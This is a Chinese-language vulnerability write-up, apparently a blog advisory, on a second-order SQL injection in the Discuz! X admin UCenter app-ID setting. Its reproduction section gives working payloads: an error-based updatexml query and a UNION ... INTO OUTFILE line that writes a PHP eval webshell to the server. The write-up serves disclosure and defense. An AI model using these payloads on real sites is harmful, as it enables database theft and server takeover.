【漏洞分析】Discuz! X系列全版本后台SQL注入漏洞

时间:2021-01-15 07:56:23

0x01漏洞描述

Discuz!X全版本存在SQL注入漏洞。漏洞产生的原因是source\admincp\admincp_setting.php在处理$settingnew['uc']['appid']参数时未进行完全过滤,导致出现二次注入。在特定条件下,攻击者可以利用该漏洞获取服务器权限。

0x02影响范围

Discuz! X系列全版本,截止Discuz!X最新的Discuz! X3.4 R20191201版本

0x03漏洞详情

(1)\source\admincp\admincp_setting.php第2571行,用户可控参数$settingnew['uc']['appid']替换掉.\config\config_ucenter.php配置文件中的常量UC_APPID的值,并写入配置文件

【漏洞分析】Discuz! X系列全版本后台SQL注入漏洞

(2)\uc_client\model\base.php第206行,UC_APPID直接拼接到SQL语句中

【漏洞分析】Discuz! X系列全版本后台SQL注入漏洞

(3)当调用函数时将触发二次注入

【漏洞分析】Discuz! X系列全版本后台SQL注入漏洞

【漏洞分析】Discuz! X系列全版本后台SQL注入漏洞

0x04漏洞复现

(1)在站长-UCenter设置下的应用ID中输入1’

【漏洞分析】Discuz! X系列全版本后台SQL注入漏洞

(2)访问首页将触发产生SQL报错

【漏洞分析】Discuz! X系列全版本后台SQL注入漏洞

(3)故可以插入其他测试payload

' and (updatexml(1,concat(0x7e,(select version()),0x7e),1));-- a

【漏洞分析】Discuz! X系列全版本后台SQL注入漏洞

(4)写马

' union select '<?php @eval($_POST[]);?>' into outfile 'C:/phpStudy/PHPTutorial/WWW/shell.php';-- a

【漏洞分析】Discuz! X系列全版本后台SQL注入漏洞

【漏洞分析】Discuz! X系列全版本后台SQL注入漏洞

0x05修复建议

(1)后台不使用弱口令

(2)官方暂未发布补丁,关注官方补丁信息